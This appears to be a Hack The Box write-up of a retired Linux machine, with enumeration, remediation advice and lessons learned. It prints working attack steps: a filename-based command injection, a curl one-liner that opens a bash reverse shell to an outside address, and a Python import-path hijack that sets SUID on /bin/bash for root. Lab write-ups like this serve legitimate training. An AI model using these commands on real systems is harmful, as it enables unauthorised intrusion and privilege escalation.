HTB-style writeup: enumeration to root on a Linux target
JYOTHENDRA · 21 Jul 2025 · 9 min read
Full chain on a retired HTB Linux box: a filename-based command injection in a report-generation API gets initial access, and a world-writable Python import path behind a scoped sudo rule gets root.
Flags, credentials and any host-identifying details are intentionally omitted. Techniques are described at a methodology level only.
Box overview
Easy-to-Medium rated retired HTB Linux machine. A single web app on port 80 and SSH on 22 made up the entire external surface. Per HTB's content guidelines, box name and IP are redacted; this focuses on methodology.
Enumeration
$ nmap -sC -sV -p- --min-rate 5000 -oA nmap-full 10.10.10.X
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1
80/tcp open http nginx 1.18.0
Content discovery against the web root:
$ ffuf -u http://10.10.10.X/FUZZ -w raft-large-directories.txt -mc 200,301,302,403
api/ [Status: 301]
uploads/ [Status: 301]
An internal-looking /api/ path with a handful of JSON endpoints, and a /uploads/ directory serving user-submitted files directly with no authentication — both worth a closer look.
Initial access
The /api/report endpoint accepted a file upload for "generating a PDF report" and, on inspection with Burp, passed the uploaded filename straight into a shell command server-side (visible from a response timing difference when testing special characters):
POST /api/report HTTP/1.1
Content-Type: multipart/form-data; boundary=----x
------x
Content-Disposition: form-data; name="file"; filename="test;sleep 5;.pdf"
Content-Type: application/pdf
%PDF-1.4
------x--
The five-second response delay confirmed command injection via the filename field. Weaponized it for a reverse shell:
$ curl -s -F 'file=@payload.pdf;filename=test;bash -c "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1";.pdf' http://10.10.10.X/api/report
Caught the shell as svc_reports, a low-privilege service account.
Privilege escalation
sudo -l as svc_reports showed a narrowly scoped but exploitable entry:
$ sudo -l
User svc_reports may run the following commands on this host:
(root) NOPASSWD: /usr/bin/python3 /opt/scripts/cleanup.py
cleanup.py imported a module from a world-writable directory before doing anything else:
import sys
sys.path.insert(0, "/opt/scripts/lib")
import housekeeping
housekeeping.run()
/opt/scripts/lib was writable by any local user. Dropping a malicious housekeeping.py there let arbitrary code run as root when the script executed under sudo:
$ cat > /opt/scripts/lib/housekeeping.py <<'EOF'
import os
def run():
os.system("chmod +s /bin/bash")
EOF
$ sudo /usr/bin/python3 /opt/scripts/cleanup.py
$ /bin/bash -p
# whoami
root
Post-exploitation
Retrieved user.txt from /home/svc_reports/ immediately after the initial foothold, and root.txt from /root/ after the privilege escalation. Reviewed /root/ and /etc/cron.d/ briefly for anything indicating additional persistence-relevant findings for the report, then cleaned up dropped files (housekeeping.py, the uploaded webshell payload, and history) as part of engagement hygiene.
Root cause and fix
- Unsanitized filename passed directly into a shell command on the report-generation endpoint — user-controlled input must never reach a shell invocation without strict allowlisting or, better, avoiding shell invocation entirely in favor of a library call.
- A world-writable directory on the Python import path for a script invoked via
sudo— any directory referenced bysys.pathfor a privileged script must be owned and writable only by root, and third-party or local modules should never be imported from a path regular users can write to. - Overly broad
NOPASSWDsudo rule for a script that itself had a code-execution weakness — sudo rules reduce risk only as far as the target binary's own security holds; a "safe-looking" scoped sudo entry around a vulnerable script provides no real containment.
Lessons learned
- Command injection via filename fields is an easy miss in file-upload testing — always fuzz the filename parameter itself, not just file content and extension.
sudo -loutput should be treated as a map of the next attack surface, not a dead end just because the allowed command "looks" narrow. Read what the script does before ruling it out.- Python's
sys.pathmanipulation is a recurring privilege escalation vector on boxes with custom automation scripts — check the permissions on every directory a privileged script imports from. - Keep a mental habit of testing every "generate a report / process a file" feature for injection first; these features frequently shell out to system tools (
pdftk,imagemagick,wkhtmltopdf) and are a common source of command injection in real applications, not just CTF-style boxes.
Enumeration
Full nmap port scan plus ffuf content discovery surfaced an internal-looking /api/ path and an unauthenticated /uploads/ directory.
Initial Access
Exploited filename-based command injection in a report-generation upload endpoint to get a reverse shell as a low-privilege service account.
Privilege Escalation
Abused a world-writable directory on the sys.path of a script invokable via a scoped NOPASSWD sudo rule to run arbitrary code as root.
Post-Exploitation
Retrieved user.txt and root.txt, reviewed for persistence-relevant findings, and cleaned up dropped payloads as part of engagement hygiene.
Lessons Learned
Fuzz filename parameters for injection, not just file content; treat sudo -l output as attack surface to investigate rather than a dead end; check permissions on any directory a privileged script imports from.
References
- MITRE ATT&CK T1068 — Exploitation for Privilege Escalation
- OWASP Top 10 — A04 Insecure Design
Machine details
- Machine
- Redacted (retired HTB box)
- Platform
- Hack The Box
- Difficulty
- Medium
- OS
- Linux
- Completed
- 21 Jul 2025
Tools used
Skills demonstrated